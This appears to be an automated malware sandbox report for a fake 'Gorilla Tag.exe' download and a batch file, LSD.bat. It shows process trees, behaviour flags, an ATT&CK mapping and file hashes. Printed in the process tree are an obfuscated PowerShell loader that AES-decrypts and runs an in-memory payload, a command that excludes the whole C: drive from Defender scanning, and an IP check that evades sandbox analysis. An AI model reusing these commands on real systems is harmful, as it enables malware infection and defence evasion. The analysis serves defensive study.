1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff9007a3cb8,0x7ff9007a3cc8,0x7ff9007a3cd8
  2⤵
  PID:2296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1904 /prefetch:2
  2⤵
  PID:2272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2544 /prefetch:8
  2⤵
  PID:2344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:1640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:3640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4864 /prefetch:1
  2⤵
  PID:1400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4544 /prefetch:1
  2⤵
  PID:1248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3416 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3124
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5460 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:1
  2⤵
  PID:5112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5448 /prefetch:1
  2⤵
  PID:4952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1
  2⤵
  PID:4436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
  2⤵
  PID:2644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:1
  2⤵
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2848 /prefetch:1
  2⤵
  PID:3364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3480 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:1
  2⤵
  PID:4064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3400 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5792 /prefetch:1
  2⤵
  PID:5944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6272 /prefetch:1
  2⤵
  PID:5464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=6548 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6360 /prefetch:1
  2⤵
  PID:2068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4008 /prefetch:8
  2⤵
  PID:3928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6944 /prefetch:1
  2⤵
  PID:5380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5492 /prefetch:8
  2⤵
  PID:3164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1860,14840518371330093183,3503183706839089890,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7088 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:244
- C:\Users\Admin\Downloads\Gorilla Tag.exe
  "C:\Users\Admin\Downloads\Gorilla Tag.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5524
- C:\Users\Admin\Downloads\Gorilla Tag.exe
  "C:\Users\Admin\Downloads\Gorilla Tag.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1132

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4936

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4940

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:1944
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4052
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.0.1243635017\58204818" -parentBuildID 20221007134813 -prefsHandle 1808 -prefMapHandle 1800 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1592e2e8-af7b-4984-b020-e1d3cccf62d6} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 1884 23ed20b8058 gpu
    3⤵
    PID:4764
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.1.1213500846\1978025828" -parentBuildID 20221007134813 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 20783 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e40cf3a4-47d8-4c16-b43c-ad3bc24cb003} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 2260 23ed1be3258 socket
    3⤵
    - Checks processor information in registry
    PID:2904
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.2.283511409\229303114" -childID 1 -isForBrowser -prefsHandle 3036 -prefMapHandle 3052 -prefsLen 20821 -prefMapSize 233444 -jsInitHandle 996 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1ee92770-6caa-4f48-a15c-005ccbe59376} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 2980 23ed6f9e258 tab
    3⤵
    PID:2764
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.3.1363545534\384280805" -childID 2 -isForBrowser -prefsHandle 3364 -prefMapHandle 3352 -prefsLen 26064 -prefMapSize 233444 -jsInitHandle 996 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {921a2cbd-e1b1-4d7b-94d6-2f9de868bfa3} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 3496 23ebe95eb58 tab
    3⤵
    PID:2444
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.4.1211979302\18271191" -childID 3 -isForBrowser -prefsHandle 3980 -prefMapHandle 3976 -prefsLen 26123 -prefMapSize 233444 -jsInitHandle 996 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {32070ba3-e8b7-4829-8a16-0b5bd04b56e5} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 4004 23ed7ee3f58 tab
    3⤵
    PID:772
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.5.1820532511\1481366754" -childID 4 -isForBrowser -prefsHandle 4952 -prefMapHandle 4948 -prefsLen 26204 -prefMapSize 233444 -jsInitHandle 996 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {309d8ca3-b838-4dc4-beaa-232d1e9ce9e3} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 5108 23ed7395258 tab
    3⤵
    PID:5520
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.6.616254425\322490832" -childID 5 -isForBrowser -prefsHandle 5096 -prefMapHandle 4956 -prefsLen 26204 -prefMapSize 233444 -jsInitHandle 996 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f04e6f91-f03a-47f0-a6c6-8261fd40406c} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 5136 23ed8ed1058 tab
    3⤵
    PID:5528
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4052.7.1956772824\1973420540" -childID 6 -isForBrowser -prefsHandle 5256 -prefMapHandle 5136 -prefsLen 26204 -prefMapSize 233444 -jsInitHandle 996 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d103a82-2518-4657-92ea-852a9e6eea80} 4052 "\\.\pipe\gecko-crash-server-pipe.4052" 5512 23ed8ecfb58 tab
    3⤵
    PID:5536

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\LSD\LSD.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:1400

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\LSD\LSD.bat" "
1⤵
PID:4840
- C:\Windows\system32\net.exe
  net file
  2⤵
  PID:1004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
  2⤵
  PID:5976
- - C:\Windows\system32\curl.exe
    curl -s https://api.ipify.org
    3⤵
    PID:6016
- C:\Windows\system32\curl.exe
  curl -s -o blacklist.txt https://raw.githubusercontent.com/ThunderboltDev/IP-BLACKLIST/main/blacklist_ips.txt
  2⤵
  PID:6052
- C:\Windows\system32\findstr.exe
  findstr /C:"84.247.114.175" blacklist.txt
  2⤵
  PID:6080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\\"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6096
- C:\Users\Admin\Downloads\LSD\LSD.bat.exe
  "LSD.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $YZrPtiYD = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Downloads\LSD\LSD.bat').Split([Environment]::NewLine);foreach ($uDpKXGuz in $YZrPtiYD) { if ($uDpKXGuz.StartsWith(':: ')) { $TsoLQbVY = $uDpKXGuz.Substring(3); break; }; };$DLhtmrSl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($TsoLQbVY);$MmDnIeCf = New-Object System.Security.Cryptography.AesManaged;$MmDnIeCf.Mode = [System.Security.Cryptography.CipherMode]::CBC;$MmDnIeCf.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$MmDnIeCf.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UJKza9U4IyboVW3XkY78xdElsdzOf0qDcphsexgwGg=');$MmDnIeCf.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IHByTY43CTggzzH1HZVtxA==');$DUzPrnIo = $MmDnIeCf.CreateDecryptor();$DLhtmrSl = $DUzPrnIo.TransformFinalBlock($DLhtmrSl, 0, $DLhtmrSl.Length);$DUzPrnIo.Dispose();$MmDnIeCf.Dispose();$jGyEbXKQ = New-Object System.IO.MemoryStream(, $DLhtmrSl);$HlKcPZxE = New-Object System.IO.MemoryStream;$foNXcIsL = New-Object System.IO.Compression.GZipStream($jGyEbXKQ, [IO.Compression.CompressionMode]::Decompress);$foNXcIsL.CopyTo($HlKcPZxE);$foNXcIsL.Dispose();$jGyEbXKQ.Dispose();$HlKcPZxE.Dispose();$DLhtmrSl = $HlKcPZxE.ToArray();$AMliJFTS = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($DLhtmrSl);$KtZnRMID = $AMliJFTS.EntryPoint;$KtZnRMID.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\LSD\LSD.bat" "
1⤵
PID:3836
- C:\Windows\system32\net.exe
  net file
  2⤵
  PID:2260
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
  2⤵
  PID:5600
- - C:\Windows\system32\curl.exe
    curl -s https://api.ipify.org
    3⤵
    PID:4192
- C:\Windows\system32\curl.exe
  curl -s -o blacklist.txt https://raw.githubusercontent.com/ThunderboltDev/IP-BLACKLIST/main/blacklist_ips.txt
  2⤵
  PID:5956
- C:\Windows\system32\findstr.exe
  findstr /C:"84.247.114.175" blacklist.txt
  2⤵
  PID:6020

C:\Users\Admin\Downloads\Gorilla Tag.exe
"C:\Users\Admin\Downloads\Gorilla Tag.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3800

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding
1⤵
PID:4596

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\LSD\blacklist.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:4816

C:\Users\Admin\Downloads\Gorilla Tag.exe
"C:\Users\Admin\Downloads\Gorilla Tag.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5544

C:\Users\Admin\Downloads\Gorilla Tag.exe
"C:\Users\Admin\Downloads\Gorilla Tag.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5884

C:\Users\Admin\Downloads\Gorilla Tag.exe
"C:\Users\Admin\Downloads\Gorilla Tag.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3284

C:\Users\Admin\Downloads\Gorilla Tag.exe
"C:\Users\Admin\Downloads\Gorilla Tag.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4916

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:764

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2024
- C:\Program Files\Microsoft Office\root\Office16\Winword.exe
  "C:\Program Files\Microsoft Office\root\Office16\Winword.exe" /n "C:\Users\Admin\AppData\Local\Temp\34600431-2cb3-41e8-b619-bafd344be1b1.tmp"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:1920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
3b1e59e67b947d63336fe9c8a1a5cebc

SHA1
5dc7146555c05d8eb1c9680b1b5c98537dd19b91

SHA256
7fccd8c81f41a2684315ad9c86ef0861ecf1f2bf5d13050f760f52aef9b4a263

SHA512
2d9b8f574f7f669c109f7e0d9714b84798e07966341a0200baac01ed5939b611c7ff75bf1978fe06e37e813df277b092ba68051fae9ba997fd529962e2e5d7b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
0e10a8550dceecf34b33a98b85d5fa0b

SHA1
357ed761cbff74e7f3f75cd15074b4f7f3bcdce0

SHA256
5694744f7e6c49068383af6569df880eed386f56062933708c8716f4221cac61

SHA512
fe6815e41c7643ddb7755cc542d478814f47acea5339df0b5265d9969d02c59ece6fc61150c6c75de3f4f59b052bc2a4f58a14caa3675daeb67955b4dc416d3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002

Filesize
49KB

MD5
e1f8c1a199ca38a7811716335fb94d43

SHA1
e35ea248cba54eb9830c06268004848400461164

SHA256
78f0f79cdd0e79a9fba9b367697255425b78da4364dc522bc59a3ce65fe95a6c

SHA512
12310f32ee77701c1e3491325a843d938c792f42bfdbbc599fe4b2f6703f5fe6588fbcd58a6a2d519050fc9ef53619e2e35dfadcbda4b218df8a912a59a5381a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

Filesize
44KB

MD5
ac7cb774971fe710e341a3956679a059

SHA1
c0966dfe5c8957427884a25d7a455a77469531bb

SHA256
9e642e72ca78132306e93a2eff9b2e6352356ef01b85807102518beb32faf4ce

SHA512
3e46ef764f902915da29f56e813b8a9a076f4224de4c5904366201fa2426a976160af082d138adb87f8f6cc57fe8adde1a0c6c70b3e488117ef0d8d7be4af5ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

Filesize
24KB

MD5
dc0ad025509c966716f971b6e0d36ee9

SHA1
64c5b5b0bc022961bcff062467df6cde579a7d5a

SHA256
ff30c58cbd4693a19a964c528b653c80ce1968b7db93a92a5ee9f3788efe4103

SHA512
3580ddfded853f05ce10d96292ae23ac2593079cb2bcedd1e5081d99e8aa54c7ec985cbbf29e5961425192a00ef639cc3969e5bc1f6450bcbbf855e3f161ea83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

Filesize
21KB

MD5
939b17598242605d4cda089e4c40e52a

SHA1
cb7e96bbb89879ab97002ef7764e868d8536fdbd

SHA256
14d0a9ba41b036d7702963b2f0048a670f138372fbc3644ec4f009cd3184e041

SHA512
d62140ff22453508964a7fc40602adc68b2ceea883eb7e77206a84569b2cb6ffad4b0796371ca28ce1a7110adf58786b374854d5fb1dc53a42588d61c79143e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

Filesize
20KB

MD5
8b2813296f6e3577e9ac2eb518ac437e

SHA1
6c8066353b4d463018aa1e4e9bb9bf2e9a7d9a86

SHA256
befb3b0471067ac66b93fcdba75c11d743f70a02bb9f5eef7501fa874686319d

SHA512
a1ed4d23dfbe981bf749c2008ab55a3d76e8f41801a09475e7e0109600f288aa20036273940e8ba70a172dec57eec56fe7c567cb941ba71edae080f2fdcc1e0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

Filesize
59KB

MD5
063fe934b18300c766e7279114db4b67

SHA1
d7e71855cf6e8d1e7fbaa763223857f50cd1d4bd

SHA256
8745914e0214bcd9d2e6a841f0679a81084ef3fc3d99125876bee26653f4253e

SHA512
